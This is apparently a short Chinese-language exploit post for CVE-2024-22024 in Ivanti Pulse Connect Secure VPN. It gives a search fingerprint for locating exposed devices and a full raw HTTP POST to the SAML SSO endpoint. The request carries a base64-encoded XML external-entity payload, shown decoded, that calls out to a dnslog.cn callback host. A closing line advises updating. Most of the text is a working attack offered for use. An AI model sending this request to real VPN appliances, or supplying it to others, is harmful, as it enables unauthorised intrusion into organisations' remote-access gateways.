CVE-2024-22024 漏洞（附EXP）

Ivanti Pulse Connect Secure VPN

body="welcome.cgi?p=logo"

POST /dana-na/auth/saml-sso.cgi HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36Connection: closeContent-Length: 172Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vMHVyeDNsLmRuc2xvZy5jbi94Ij4gJXdhdGNoVG93cjtdPjxyPjwvcj4=

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM    "http://0urx3l.dnslog.cn/x"> %watchTowr;]><r></r>

建议及时更新至最新版本！